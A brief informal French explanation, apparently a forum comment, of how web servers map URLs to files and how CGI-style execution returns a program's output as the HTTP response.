De base les serveurs web ça regarde si y’a un doc dans le système de fichier qui correspond à l’URL et si oui il envoie le contenu dans des paquets HTTP. De là y’a qu’un pas pour vérifier si en réalité le doc est pas un exécutable (ça peut se reposer sur plusieurs mécanismes, conventions /cgi-bin/, extension, droit d’exec du fichier), l’exécute, récupère la sortie et envoie ça en réponse comme si c’était le contenu de l’exécutable.